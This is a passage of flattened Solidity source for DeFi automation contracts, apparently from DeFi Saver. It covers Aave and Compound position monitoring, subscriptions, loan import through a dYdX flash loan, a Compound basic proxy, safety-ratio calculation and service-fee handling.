tx.gasprice <= MAX_GAS_PRICE ? tx.gasprice : MAX_GAS_PRICE; return mul(gasPrice, _gasAmount); } /******************* OWNER ONLY OPERATIONS ********************************/ /// @notice Allows owner to change gas cost for boost operation, but only up to 3 millions /// @param _gasCost New gas cost for boost method function changeBoostGasCost(uint _gasCost) public onlyOwner { require(_gasCost < 3000000); BOOST_GAS_COST = _gasCost; } /// @notice Allows owner to change gas cost for repay operation, but only up to 3 millions /// @param _gasCost New gas cost for repay method function changeRepayGasCost(uint _gasCost) public onlyOwner { require(_gasCost < 3000000); REPAY_GAS_COST = _gasCost; } /// @notice Allows owner to change max gas price /// @param _maxGasPrice New max gas price function changeMaxGasPrice(uint _maxGasPrice) public onlyOwner { require(_maxGasPrice < 500000000000); MAX_GAS_PRICE = _maxGasPrice; } /// @notice Allows owner to change gas token amount /// @param _gasTokenAmount New gas token amount /// @param _repay true if repay gas token, false if boost gas token function changeGasTokenAmount(uint _gasTokenAmount, bool _repay) public onlyOwner { if (_repay) { REPAY_GAS_TOKEN = _gasTokenAmount; } else { BOOST_GAS_TOKEN = _gasTokenAmount; } } /// @notice Adds a new bot address which will be able to call repay/boost /// @param _caller Bot address function addCaller(address _caller) public onlyOwner { approvedCallers[_caller] = true; } /// @notice Removes a bot address so it can't call repay/boost /// @param _caller Bot address function removeCaller(address _caller) public onlyOwner { approvedCallers[_caller] = false; } } contract AaveMonitorProxy is AdminAuth { using SafeERC20 for ERC20; uint public CHANGE_PERIOD; address public monitor; address public newMonitor; address public lastMonitor; uint public changeRequestedTimestamp; mapping(address => bool) public allowed; event MonitorChangeInitiated(address oldMonitor, address newMonitor); event MonitorChangeCanceled(); event MonitorChangeFinished(address monitor); event MonitorChangeReverted(address monitor); // if someone who is allowed become malicious, owner can't be changed modifier onlyAllowed() { require(allowed[msg.sender] || msg.sender == owner); _; } modifier onlyMonitor() { require (msg.sender == monitor); _; } constructor(uint _changePeriod) public { CHANGE_PERIOD = _changePeriod * 1 days; } /// @notice Only monitor contract is able to call execute on users proxy /// @param _owner Address of cdp owner (users DSProxy address) /// @param _aaveSaverProxy Address of AaveSaverProxy /// @param _data Data to send to AaveSaverProxy function callExecute(address _owner, address _aaveSaverProxy, bytes memory _data) public payable onlyMonitor { // execute reverts if calling specific method fails DSProxyInterface(_owner).execute{value: msg.value}(_aaveSaverProxy, _data); // return if anything left if (address(this).balance > 0) { msg.sender.transfer(address(this).balance); } } /// @notice Allowed users are able to set Monitor contract without any waiting period first time /// @param _monitor Address of Monitor contract function setMonitor(address _monitor) public onlyAllowed { require(monitor == address(0)); monitor = _monitor; } /// @notice Allowed users are able to start procedure for changing monitor /// @dev after CHANGE_PERIOD needs to call confirmNewMonitor to actually make a change /// @param _newMonitor address of new monitor function changeMonitor(address _newMonitor) public onlyAllowed { require(changeRequestedTimestamp == 0); changeRequestedTimestamp = now; lastMonitor = monitor; newMonitor = _newMonitor; emit MonitorChangeInitiated(lastMonitor, newMonitor); } /// @notice At any point allowed users are able to cancel monitor change function cancelMonitorChange() public onlyAllowed { require(changeRequestedTimestamp > 0); changeRequestedTimestamp = 0; newMonitor = address(0); emit MonitorChangeCanceled(); } /// @notice Anyone is able to confirm new monitor after CHANGE_PERIOD if process is started function confirmNewMonitor() public onlyAllowed { require((changeRequestedTimestamp + CHANGE_PERIOD) < now); require(changeRequestedTimestamp != 0); require(newMonitor != address(0)); monitor = newMonitor; newMonitor = address(0); changeRequestedTimestamp = 0; emit MonitorChangeFinished(monitor); } /// @notice Its possible to revert monitor to last used monitor function revertMonitor() public onlyAllowed { require(lastMonitor != address(0)); monitor = lastMonitor; emit MonitorChangeReverted(monitor); } /// @notice Allowed users are able to add new allowed user /// @param _user Address of user that will be allowed function addAllowed(address _user) public onlyAllowed { allowed[_user] = true; } /// @notice Allowed users are able to remove allowed user /// @dev owner is always allowed even if someone tries to remove it from allowed mapping /// @param _user Address of allowed user function removeAllowed(address _user) public onlyAllowed { allowed[_user] = false; } function setChangePeriod(uint _periodInDays) public onlyAllowed { require(_periodInDays * 1 days > CHANGE_PERIOD); CHANGE_PERIOD = _periodInDays * 1 days; } /// @notice In case something is left in contract, owner is able to withdraw it /// @param _token address of token to withdraw balance function withdrawToken(address _token) public onlyOwner { uint balance = ERC20(_token).balanceOf(address(this)); ERC20(_token).safeTransfer(msg.sender, balance); } /// @notice In case something is left in contract, owner is able to withdraw it function withdrawEth() public onlyOwner { uint balance = address(this).balance; msg.sender.transfer(balance); } } contract AaveSubscriptions is AdminAuth { struct AaveHolder { address user; uint128 minRatio; uint128 maxRatio; uint128 optimalRatioBoost; uint128 optimalRatioRepay; bool boostEnabled; } struct SubPosition { uint arrPos; bool subscribed; } AaveHolder[] public subscribers; mapping (address => SubPosition) public subscribersPos; uint public changeIndex; event Subscribed(address indexed user); event Unsubscribed(address indexed user); event Updated(address indexed user); event ParamUpdates(address indexed user, uint128, uint128, uint128, uint128, bool); /// @dev Called by the DSProxy contract which owns the Aave position /// @notice Adds the users Aave poistion in the list of subscriptions so it can be monitored /// @param _minRatio Minimum ratio below which repay is triggered /// @param _maxRatio Maximum ratio after which boost is triggered /// @param _optimalBoost Ratio amount which boost should target /// @param _optimalRepay Ratio amount which repay should target /// @param _boostEnabled Boolean determing if boost is enabled function subscribe(uint128 _minRatio, uint128 _maxRatio, uint128 _optimalBoost, uint128 _optimalRepay, bool _boostEnabled) external { // if boost is not enabled, set max ratio to max uint uint128 localMaxRatio = _boostEnabled ? _maxRatio : uint128(-1); require(checkParams(_minRatio, localMaxRatio), "Must be correct params"); SubPosition storage subInfo = subscribersPos[msg.sender]; AaveHolder memory subscription = AaveHolder({ minRatio: _minRatio, maxRatio: localMaxRatio, optimalRatioBoost: _optimalBoost, optimalRatioRepay: _optimalRepay, user: msg.sender, boostEnabled: _boostEnabled }); changeIndex++; if (subInfo.subscribed) { subscribers[subInfo.arrPos] = subscription; emit Updated(msg.sender); emit ParamUpdates(msg.sender, _minRatio, localMaxRatio, _optimalBoost, _optimalRepay, _boostEnabled); } else { subscribers.push(subscription); subInfo.arrPos = subscribers.length - 1; subInfo.subscribed = true; emit Subscribed(msg.sender); } } /// @notice Called by the users DSProxy /// @dev Owner who subscribed cancels his subscription function unsubscribe() external { _unsubscribe(msg.sender); } /// @dev Checks limit if minRatio is bigger than max /// @param _minRatio Minimum ratio, bellow which repay can be triggered /// @param _maxRatio Maximum ratio, over which boost can be triggered /// @return Returns bool if the params are correct function checkParams(uint128 _minRatio, uint128 _maxRatio) internal pure returns (bool) { if (_minRatio > _maxRatio) { return false; } return true; } /// @dev Internal method to remove a subscriber from the list /// @param _user The actual address that owns the Aave position function _unsubscribe(address _user) internal { require(subscribers.length > 0, "Must have subscribers in the list"); SubPosition storage subInfo = subscribersPos[_user]; require(subInfo.subscribed, "Must first be subscribed"); address lastOwner = subscribers[subscribers.length - 1].user; SubPosition storage subInfo2 = subscribersPos[lastOwner]; subInfo2.arrPos = subInfo.arrPos; subscribers[subInfo.arrPos] = subscribers[subscribers.length - 1]; subscribers.pop(); // remove last element and reduce arr length changeIndex++; subInfo.subscribed = false; subInfo.arrPos = 0; emit Unsubscribed(msg.sender); } /// @dev Checks if the user is subscribed /// @param _user The actual address that owns the Aave position /// @return If the user is subscribed function isSubscribed(address _user) public view returns (bool) { SubPosition storage subInfo = subscribersPos[_user]; return subInfo.subscribed; } /// @dev Returns subscribtion information about a user /// @param _user The actual address that owns the Aave position /// @return Subscription information about the user if exists function getHolder(address _user) public view returns (AaveHolder memory) { SubPosition storage subInfo = subscribersPos[_user]; return subscribers[subInfo.arrPos]; } /// @notice Helper method to return all the subscribed CDPs /// @return List of all subscribers function getSubscribers() public view returns (AaveHolder[] memory) { return subscribers; } /// @notice Helper method for the frontend, returns all the subscribed CDPs paginated /// @param _page What page of subscribers you want /// @param _perPage Number of entries per page /// @return List of all subscribers for that page function getSubscribersByPage(uint _page, uint _perPage) public view returns (AaveHolder[] memory) { AaveHolder[] memory holders = new AaveHolder[](_perPage); uint start = _page * _perPage; uint end = start + _perPage; end = (end > holders.length) ? holders.length : end; uint count = 0; for (uint i = start; i < end; i++) { holders[count] = subscribers[i]; count++; } return holders; } ////////////// ADMIN METHODS /////////////////// /// @notice Admin function to unsubscribe a position /// @param _user The actual address that owns the Aave position function unsubscribeByAdmin(address _user) public onlyOwner { SubPosition storage subInfo = subscribersPos[_user]; if (subInfo.subscribed) { _unsubscribe(_user); } } } contract AaveSubscriptionsProxy is ProxyPermission { address public constant AAVE_SUBSCRIPTION_ADDRESS = 0xe08ff7A2BADb634F0b581E675E6B3e583De086FC; address public constant AAVE_MONITOR_PROXY = 0xfA560Dba3a8D0B197cA9505A2B98120DD89209AC; /// @notice Calls subscription contract and creates a DSGuard if non existent /// @param _minRatio Minimum ratio below which repay is triggered /// @param _maxRatio Maximum ratio after which boost is triggered /// @param _optimalRatioBoost Ratio amount which boost should target /// @param _optimalRatioRepay Ratio amount which repay should target /// @param _boostEnabled Boolean determing if boost is enabled function subscribe( uint128 _minRatio, uint128 _maxRatio, uint128 _optimalRatioBoost, uint128 _optimalRatioRepay, bool _boostEnabled ) public { givePermission(AAVE_MONITOR_PROXY); IAaveSubscription(AAVE_SUBSCRIPTION_ADDRESS).subscribe( _minRatio, _maxRatio, _optimalRatioBoost, _optimalRatioRepay, _boostEnabled); } /// @notice Calls subscription contract and updated existing parameters /// @dev If subscription is non existent this will create one /// @param _minRatio Minimum ratio below which repay is triggered /// @param _maxRatio Maximum ratio after which boost is triggered /// @param _optimalRatioBoost Ratio amount which boost should target /// @param _optimalRatioRepay Ratio amount which repay should target /// @param _boostEnabled Boolean determing if boost is enabled function update( uint128 _minRatio, uint128 _maxRatio, uint128 _optimalRatioBoost, uint128 _optimalRatioRepay, bool _boostEnabled ) public { IAaveSubscription(AAVE_SUBSCRIPTION_ADDRESS).subscribe(_minRatio, _maxRatio, _optimalRatioBoost, _optimalRatioRepay, _boostEnabled); } /// @notice Calls the subscription contract to unsubscribe the caller function unsubscribe() public { removePermission(AAVE_MONITOR_PROXY); IAaveSubscription(AAVE_SUBSCRIPTION_ADDRESS).unsubscribe(); } } contract AaveImport is AaveHelper, AdminAuth { using SafeERC20 for ERC20; address public constant WETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address public constant BASIC_PROXY = 0x9D266997bc73B27d4302E711b55FD78B5278e1De; address public constant AETH_ADDRESS = 0x3a3A65aAb0dd2A17E3F1947bA16138cd37d08c04; function callFunction( address sender, Account.Info memory account, bytes memory data ) public { ( address collateralToken, address borrowToken, uint256 ethAmount, address user, address proxy ) = abi.decode(data, (address,address,uint256,address,address)); address payable payableProxy = payable(proxy); // withdraw eth TokenInterface(WETH_ADDRESS).withdraw(ethAmount); address lendingPoolCoreAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPoolCore(); address lendingPool = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPool(); address aCollateralToken = ILendingPool(lendingPoolCoreAddress).getReserveATokenAddress(collateralToken); address aBorrowToken = ILendingPool(lendingPoolCoreAddress).getReserveATokenAddress(borrowToken); // deposit eth on behalf of proxy DSProxy(payableProxy).execute{value: ethAmount}(BASIC_PROXY, abi.encodeWithSignature("deposit(address,uint256)", ETH_ADDR, ethAmount)); // borrow needed amount to repay users borrow (,uint256 borrowAmount,,uint256 borrowRateMode,,,,,,) = ILendingPool(lendingPool).getUserReserveData(borrowToken, user); DSProxy(payableProxy).execute(BASIC_PROXY, abi.encodeWithSignature("borrow(address,uint256,uint256)", borrowToken, borrowAmount, borrowRateMode)); // payback on behalf of user ERC20(borrowToken).safeApprove(proxy, borrowAmount); DSProxy(payableProxy).execute(BASIC_PROXY, abi.encodeWithSignature("paybackOnBehalf(address,address,uint256,bool,address)", borrowToken, aBorrowToken, 0, true, user)); // pull tokens from user to proxy uint256 collateralAmount = ERC20(aCollateralToken).balanceOf(user); ERC20(aCollateralToken).safeTransferFrom(user, proxy, collateralAmount); // enable as collateral DSProxy(payableProxy).execute(BASIC_PROXY, abi.encodeWithSignature("setUserUseReserveAsCollateral(address)", collateralToken)); // withdraw deposited eth DSProxy(payableProxy).execute(BASIC_PROXY, abi.encodeWithSignature("withdraw(address,address,uint256,bool)", ETH_ADDR, AETH_ADDRESS, ethAmount, false)); // deposit eth, get weth and return to sender TokenInterface(WETH_ADDRESS).deposit.value(address(this).balance)(); ERC20(WETH_ADDRESS).safeTransfer(proxy, ethAmount+2); } /// @dev if contract receive eth, convert it to WETH receive() external payable { // deposit eth and get weth if (msg.sender == owner) { TokenInterface(WETH_ADDRESS).deposit.value(address(this).balance)(); } } } contract AaveImportTaker is DydxFlashLoanBase, ProxyPermission { address public constant WETH_ADDR = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address payable public constant AAVE_IMPORT = 0x56AC1EFC17ecDe083889520137B0cfb30d2cF384; address public constant DEFISAVER_LOGGER = 0x5c55B921f590a89C1Ebe84dF170E655a82b62126; address public constant PROXY_REGISTRY_ADDRESS = 0x4678f0a6958e4D2Bc4F1BAF7Bc52E8F3564f3fE4; /// @notice Starts the process to move users position 1 collateral and 1 borrow /// @dev User must send 2 wei with this transaction /// @dev User must approve AaveImport to pull _aCollateralToken /// @param _collateralToken Collateral token we are moving to DSProxy /// @param _borrowToken Borrow token we are moving to DSProxy /// @param _ethAmount ETH amount that needs to be pulled from dydx function importLoan(address _collateralToken, address _borrowToken, uint _ethAmount) public { ISoloMargin solo = ISoloMargin(SOLO_MARGIN_ADDRESS); // Get marketId from token address uint256 marketId = _getMarketIdFromTokenAddress(WETH_ADDR); // Calculate repay amount (_amount + (2 wei)) // Approve transfer from uint256 repayAmount = _getRepaymentAmountInternal(_ethAmount); ERC20(WETH_ADDR).approve(SOLO_MARGIN_ADDRESS, repayAmount); Actions.ActionArgs[] memory operations = new Actions.ActionArgs[](3); operations[0] = _getWithdrawAction(marketId, _ethAmount, AAVE_IMPORT); operations[1] = _getCallAction( abi.encode(_collateralToken, _borrowToken, _ethAmount, msg.sender, address(this)), AAVE_IMPORT ); operations[2] = _getDepositAction(marketId, repayAmount, address(this)); Account.Info[] memory accountInfos = new Account.Info[](1); accountInfos[0] = _getAccountInfo(); givePermission(AAVE_IMPORT); solo.operate(accountInfos, operations); removePermission(AAVE_IMPORT); DefisaverLogger(DEFISAVER_LOGGER).Log(address(this), msg.sender, "AaveImport", abi.encode(_collateralToken, _borrowToken)); } } contract CompoundBasicProxy is GasBurner { address public constant ETH_ADDR = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public constant COMPTROLLER_ADDR = 0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B; using SafeERC20 for ERC20; /// @notice User deposits tokens to the Compound protocol /// @dev User needs to approve the DSProxy to pull the _tokenAddr tokens /// @param _tokenAddr The address of the token to be deposited /// @param _cTokenAddr CTokens to be deposited /// @param _amount Amount of tokens to be deposited /// @param _inMarket True if the token is already in market for that address function deposit(address _tokenAddr, address _cTokenAddr, uint _amount, bool _inMarket) public burnGas(5) payable { if (_tokenAddr != ETH_ADDR) { ERC20(_tokenAddr).safeTransferFrom(msg.sender, address(this), _amount); } approveToken(_tokenAddr, _cTokenAddr); if (!_inMarket) { enterMarket(_cTokenAddr); } if (_tokenAddr != ETH_ADDR) { require(CTokenInterface(_cTokenAddr).mint(_amount) == 0); } else { CEtherInterface(_cTokenAddr).mint{value: msg.value}(); // reverts on fail } } /// @notice User withdraws tokens to the Compound protocol /// @param _tokenAddr The address of the token to be withdrawn /// @param _cTokenAddr CTokens to be withdrawn /// @param _amount Amount of tokens to be withdrawn /// @param _isCAmount If true _amount is cTokens if falls _amount is underlying tokens function withdraw(address _tokenAddr, address _cTokenAddr, uint _amount, bool _isCAmount) public burnGas(5) { if (_isCAmount) { require(CTokenInterface(_cTokenAddr).redeem(_amount) == 0); } else { require(CTokenInterface(_cTokenAddr).redeemUnderlying(_amount) == 0); } // withdraw funds to msg.sender if (_tokenAddr != ETH_ADDR) { ERC20(_tokenAddr).safeTransfer(msg.sender, ERC20(_tokenAddr).balanceOf(address(this))); } else { msg.sender.transfer(address(this).balance); } } /// @notice User borrows tokens to the Compound protocol /// @param _tokenAddr The address of the token to be borrowed /// @param _cTokenAddr CTokens to be borrowed /// @param _amount Amount of tokens to be borrowed /// @param _inMarket True if the token is already in market for that address function borrow(address _tokenAddr, address _cTokenAddr, uint _amount, bool _inMarket) public burnGas(8) { if (!_inMarket) { enterMarket(_cTokenAddr); } require(CTokenInterface(_cTokenAddr).borrow(_amount) == 0); // withdraw funds to msg.sender if (_tokenAddr != ETH_ADDR) { ERC20(_tokenAddr).safeTransfer(msg.sender, ERC20(_tokenAddr).balanceOf(address(this))); } else { msg.sender.transfer(address(this).balance); } } /// @dev User needs to approve the DSProxy to pull the _tokenAddr tokens /// @notice User paybacks tokens to the Compound protocol /// @param _tokenAddr The address of the token to be paybacked /// @param _cTokenAddr CTokens to be paybacked /// @param _amount Amount of tokens to be payedback /// @param _wholeDebt If true the _amount will be set to the whole amount of the debt function payback(address _tokenAddr, address _cTokenAddr, uint _amount, bool _wholeDebt) public burnGas(5) payable { approveToken(_tokenAddr, _cTokenAddr); if (_wholeDebt) { _amount = CTokenInterface(_cTokenAddr).borrowBalanceCurrent(address(this)); } if (_tokenAddr != ETH_ADDR) { ERC20(_tokenAddr).safeTransferFrom(msg.sender, address(this), _amount); require(CTokenInterface(_cTokenAddr).repayBorrow(_amount) == 0); } else { CEtherInterface(_cTokenAddr).repayBorrow{value: msg.value}(); msg.sender.transfer(address(this).balance); // send back the extra eth } } /// @notice Helper method to withdraw tokens from the DSProxy /// @param _tokenAddr Address of the token to be withdrawn function withdrawTokens(address _tokenAddr) public { if (_tokenAddr != ETH_ADDR) { ERC20(_tokenAddr).safeTransfer(msg.sender, ERC20(_tokenAddr).balanceOf(address(this))); } else { msg.sender.transfer(address(this).balance); } } /// @notice Enters the Compound market so it can be deposited/borrowed /// @param _cTokenAddr CToken address of the token function enterMarket(address _cTokenAddr) public { address[] memory markets = new address[](1); markets[0] = _cTokenAddr; ComptrollerInterface(COMPTROLLER_ADDR).enterMarkets(markets); } /// @notice Exits the Compound market so it can't be deposited/borrowed /// @param _cTokenAddr CToken address of the token function exitMarket(address _cTokenAddr) public { ComptrollerInterface(COMPTROLLER_ADDR).exitMarket(_cTokenAddr); } /// @notice Approves CToken contract to pull underlying tokens from the DSProxy /// @param _tokenAddr Token we are trying to approve /// @param _cTokenAddr Address which will gain the approval function approveToken(address _tokenAddr, address _cTokenAddr) internal { if (_tokenAddr != ETH_ADDR) { ERC20(_tokenAddr).safeApprove(_cTokenAddr, 0); ERC20(_tokenAddr).safeApprove(_cTokenAddr, uint(-1)); } } } contract CompoundSafetyRatio is Exponential, DSMath { // solhint-disable-next-line const-name-snakecase ComptrollerInterface public constant comp = ComptrollerInterface(0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B); /// @notice Calcualted the ratio of debt / adjusted collateral /// @param _user Address of the user function getSafetyRatio(address _user) public view returns (uint) { // For each asset the account is in address[] memory assets = comp.getAssetsIn(_user); address oracleAddr = comp.oracle(); uint sumCollateral = 0; uint sumBorrow = 0; for (uint i = 0; i < assets.length; i++) { address asset = assets[i]; (, uint cTokenBalance, uint borrowBalance, uint exchangeRateMantissa) = CTokenInterface(asset).getAccountSnapshot(_user); Exp memory oraclePrice; if (cTokenBalance != 0 || borrowBalance != 0) { oraclePrice = Exp({mantissa: CompoundOracleInterface(oracleAddr).getUnderlyingPrice(asset)}); } // Sum up collateral in Usd if (cTokenBalance != 0) { (, uint collFactorMantissa) = comp.markets(address(asset)); Exp memory collateralFactor = Exp({mantissa: collFactorMantissa}); Exp memory exchangeRate = Exp({mantissa: exchangeRateMantissa}); (, Exp memory tokensToUsd) = mulExp3(collateralFactor, exchangeRate, oraclePrice); (, sumCollateral) = mulScalarTruncateAddUInt(tokensToUsd, cTokenBalance, sumCollateral); } // Sum up debt in Usd if (borrowBalance != 0) { (, sumBorrow) = mulScalarTruncateAddUInt(oraclePrice, borrowBalance, sumBorrow); } } if (sumBorrow == 0) return uint(-1); uint borrowPowerUsed = (sumBorrow * 10**18) / sumCollateral; return wdiv(1e18, borrowPowerUsed); } } contract CompoundMonitor is AdminAuth, DSMath, CompoundSafetyRatio, GasBurner { using SafeERC20 for ERC20; enum Method { Boost, Repay } uint public REPAY_GAS_TOKEN = 25; uint public BOOST_GAS_TOKEN = 20; uint constant public MAX_GAS_PRICE = 80000000000; // 80 gwei uint public REPAY_GAS_COST = 2200000; uint public BOOST_GAS_COST = 1700000; address public constant GAS_TOKEN_INTERFACE_ADDRESS = 0x0000000000b3F879cb30FE243b4Dfee438691c04; address public constant DEFISAVER_LOGGER = 0x5c55B921f590a89C1Ebe84dF170E655a82b62126; CompoundMonitorProxy public compoundMonitorProxy; CompoundSubscriptions public subscriptionsContract; address public compoundFlashLoanTakerAddress; DefisaverLogger public logger = DefisaverLogger(DEFISAVER_LOGGER); /// @dev Addresses that are able to call methods for repay and boost mapping(address => bool) public approvedCallers; modifier onlyApproved() { require(approvedCallers[msg.sender]); _; } /// @param _compoundMonitorProxy Proxy contracts that actually is authorized to call DSProxy /// @param _subscriptions Subscriptions contract for Compound positions /// @param _compoundFlashLoanTaker Contract that actually performs Repay/Boost constructor(address _compoundMonitorProxy, address _subscriptions, address _compoundFlashLoanTaker) public { approvedCallers[msg.sender] = true; compoundMonitorProxy = CompoundMonitorProxy(_compoundMonitorProxy); subscriptionsContract = CompoundSubscriptions(_subscriptions); compoundFlashLoanTakerAddress = _compoundFlashLoanTaker; } /// @notice Bots call this method to repay for user when conditions are met /// @dev If the contract ownes gas token it will try and use it for gas price reduction /// @param _exData Exchange data /// @param _cAddresses cTokens addreses and exchange [cCollAddress, cBorrowAddress, exchangeAddress] /// @param _user The actual address that owns the Compound position function repayFor( SaverExchangeCore.ExchangeData memory _exData, address[2] memory _cAddresses, // cCollAddress, cBorrowAddress address _user ) public payable onlyApproved burnGas(REPAY_GAS_TOKEN) { (bool isAllowed, uint ratioBefore) = canCall(Method.Repay, _user); require(isAllowed); // check if conditions are met uint256 gasCost = calcGasCost(REPAY_GAS_COST); compoundMonitorProxy.callExecute{value: msg.value}( _user, compoundFlashLoanTakerAddress, abi.encodeWithSignature( "repayWithLoan((address,address,uint256,uint256,uint256,address,address,bytes,uint256),address[2],uint256)", _exData, _cAddresses, gasCost ) ); (bool isGoodRatio, uint ratioAfter) = ratioGoodAfter(Method.Repay, _user); require(isGoodRatio); // check if the after result of the actions is good returnEth(); logger.Log(address(this), _user, "AutomaticCompoundRepay", abi.encode(ratioBefore, ratioAfter)); } /// @notice Bots call this method to boost for user when conditions are met /// @dev If the contract ownes gas token it will try and use it for gas price reduction /// @param _exData Exchange data /// @param _cAddresses cTokens addreses and exchange [cCollAddress, cBorrowAddress, exchangeAddress] /// @param _user The actual address that owns the Compound position function boostFor( SaverExchangeCore.ExchangeData memory _exData, address[2] memory _cAddresses, // cCollAddress, cBorrowAddress address _user ) public payable onlyApproved burnGas(BOOST_GAS_TOKEN) { (bool isAllowed, uint ratioBefore) = canCall(Method.Boost, _user); require(isAllowed); // check if conditions are met uint256 gasCost = calcGasCost(BOOST_GAS_COST); compoundMonitorProxy.callExecute{value: msg.value}( _user, compoundFlashLoanTakerAddress, abi.encodeWithSignature( "boostWithLoan((address,address,uint256,uint256,uint256,address,address,bytes,uint256),address[2],uint256)", _exData, _cAddresses, gasCost ) ); (bool isGoodRatio, uint ratioAfter) = ratioGoodAfter(Method.Boost, _user); require(isGoodRatio); // check if the after result of the actions is good returnEth(); logger.Log(address(this), _user, "AutomaticCompoundBoost", abi.encode(ratioBefore, ratioAfter)); } /******************* INTERNAL METHODS ********************************/ function returnEth() internal { // return if some eth left if (address(this).balance > 0) { msg.sender.transfer(address(this).balance); } } /******************* STATIC METHODS ********************************/ /// @notice Checks if Boost/Repay could be triggered for the CDP /// @dev Called by MCDMonitor to enforce the min/max check /// @param _method Type of action to be called /// @param _user The actual address that owns the Compound position /// @return Boolean if it can be called and the ratio function canCall(Method _method, address _user) public view returns(bool, uint) { bool subscribed = subscriptionsContract.isSubscribed(_user); CompoundSubscriptions.CompoundHolder memory holder = subscriptionsContract.getHolder(_user); // check if cdp is subscribed if (!subscribed) return (false, 0); // check if boost and boost allowed if (_method == Method.Boost && !holder.boostEnabled) return (false, 0); uint currRatio = getSafetyRatio(_user); if (_method == Method.Repay) { return (currRatio < holder.minRatio, currRatio); } else if (_method == Method.Boost) { return (currRatio > holder.maxRatio, currRatio); } } /// @dev After the Boost/Repay check if the ratio doesn't trigger another call /// @param _method Type of action to be called /// @param _user The actual address that owns the Compound position /// @return Boolean if the recent action preformed correctly and the ratio function ratioGoodAfter(Method _method, address _user) public view returns(bool, uint) { CompoundSubscriptions.CompoundHolder memory holder; holder= subscriptionsContract.getHolder(_user); uint currRatio = getSafetyRatio(_user); if (_method == Method.Repay) { return (currRatio < holder.maxRatio, currRatio); } else if (_method == Method.Boost) { return (currRatio > holder.minRatio, currRatio); } } /// @notice Calculates gas cost (in Eth) of tx /// @dev Gas price is limited to MAX_GAS_PRICE to prevent attack of draining user CDP /// @param _gasAmount Amount of gas used for the tx function calcGasCost(uint _gasAmount) public view returns (uint) { uint gasPrice = tx.gasprice <= MAX_GAS_PRICE ? tx.gasprice : MAX_GAS_PRICE; return mul(gasPrice, _gasAmount); } /******************* OWNER ONLY OPERATIONS ********************************/ /// @notice Allows owner to change gas cost for boost operation, but only up to 3 millions /// @param _gasCost New gas cost for boost method function changeBoostGasCost(uint _gasCost) public onlyOwner { require(_gasCost < 3000000); BOOST_GAS_COST = _gasCost; } /// @notice Allows owner to change gas cost for repay operation, but only up to 3 millions /// @param _gasCost New gas cost for repay method function changeRepayGasCost(uint _gasCost) public onlyOwner { require(_gasCost < 3000000); REPAY_GAS_COST = _gasCost; } /// @notice Adds a new bot address which will be able to call repay/boost /// @param _caller Bot address function addCaller(address _caller) public onlyOwner { approvedCallers[_caller] = true; } /// @notice Removes a bot address so it can't call repay/boost /// @param _caller Bot address function removeCaller(address _caller) public onlyOwner { approvedCallers[_caller] = false; } /// @notice If any tokens gets stuck in the contract owner can withdraw it /// @param _tokenAddress Address of the ERC20 token /// @param _to Address of the receiver /// @param _amount The amount to be sent function transferERC20(address _tokenAddress, address _to, uint _amount) public onlyOwner { ERC20(_tokenAddress).safeTransfer(_to, _amount); } /// @notice If any Eth gets stuck in the contract owner can withdraw it /// @param _to Address of the receiver /// @param _amount The amount to be sent function transferEth(address payable _to, uint _amount) public onlyOwner { _to.transfer(_amount); } } contract CompoundSaverHelper is DSMath, Exponential { using SafeERC20 for ERC20; address payable public constant WALLET_ADDR = 0x322d58b9E75a6918f7e7849AEe0fF09369977e08; address public constant DISCOUNT_ADDR = 0x1b14E8D511c9A4395425314f849bD737BAF8208F; uint public constant SERVICE_FEE = 400; // 0.25% Fee address public constant ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public constant CETH_ADDRESS = 0x4Ddc2D193948926D02f9B1fE9e1daa0718270ED5; address public constant COMPTROLLER = 0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B; address public constant COMPOUND_LOGGER = 0x3DD0CDf5fFA28C6847B4B276e2fD256046a44bb7; /// @notice Helper method to payback the Compound debt /// @dev If amount is bigger it will repay the whole debt and send the extra to the _user /// @param _amount Amount of tokens we want to repay /// @param _cBorrowToken Ctoken address we are repaying /// @param _borrowToken Token address we are repaying /// @param _user Owner of the compound position we are paying back function paybackDebt(uint _amount, address _cBorrowToken, address _borrowToken, address payable _user) internal { uint wholeDebt = CTokenInterface(_cBorrowToken).borrowBalanceCurrent(address(this)); if (_amount > wholeDebt) { if (_borrowToken == ETH_ADDRESS) { _user.transfer((_amount - wholeDebt)); } else { ERC20(_borrowToken).safeTransfer(_user, (_amount - wholeDebt)); } _amount = wholeDebt; } approveCToken(_borrowToken, _cBorrowToken); if (_borrowToken == ETH_ADDRESS) { CEtherInterface(_cBorrowToken).repayBorrow{value: _amount}(); } else { require(CTokenInterface(_cBorrowToken).repayBorrow(_amount) == 0); } } /// @notice Calculates the fee amount /// @param _amount Amount that is converted /// @param _user Actuall user addr not DSProxy /// @param _gasCost Ether amount of gas we are spending for tx /// @param _cTokenAddr CToken addr. of token we are getting for the fee /// @return feeAmount The amount we took for the fee function getFee(uint _amount, address _user, uint _gasCost, address _cTokenAddr) internal returns (uint feeAmount) { uint fee = SERVICE_FEE; address tokenAddr = getUnderlyingAddr(_cTokenAddr); if (Discount(DISCOUNT_ADDR).isCustomFeeSet(_user)) { fee = Discount(DISCOUNT_ADDR).getCustomServiceFee(_user); } feeAmount = (fee == 0) ? 0 : (_amount / fee); if (_gasCost != 0) { address oracle = ComptrollerInterface(COMPTROLLER).oracle(); uint usdTokenPrice = CompoundOracleInterface(oracle).getUnderlyingPrice(_cTokenAddr); uint ethPrice = CompoundOracleInterface(oracle).getUnderlyingPrice(CETH_ADDRESS); uint tokenPriceInEth = wdiv(usdTokenPrice, ethPrice); _gasCost = wdiv(_gasCost, tokenPriceInEth); feeAmount = add(feeAmount, _gasCost); } // fee can't go over 20% of the whole amount if (feeAmount > (_amount / 5)) { feeAmount = _amount / 5; } if (tokenAddr == ETH_ADDRESS) { WALLET_ADDR.transfer(feeAmount); } else { ERC20(tokenAddr).safeTransfer(WALLET_ADDR, feeAmount); } } /// @notice Calculates the gas cost of transaction and send it to wallet /// @param _amount Amount that is converted /// @param _gasCost Ether amount of gas 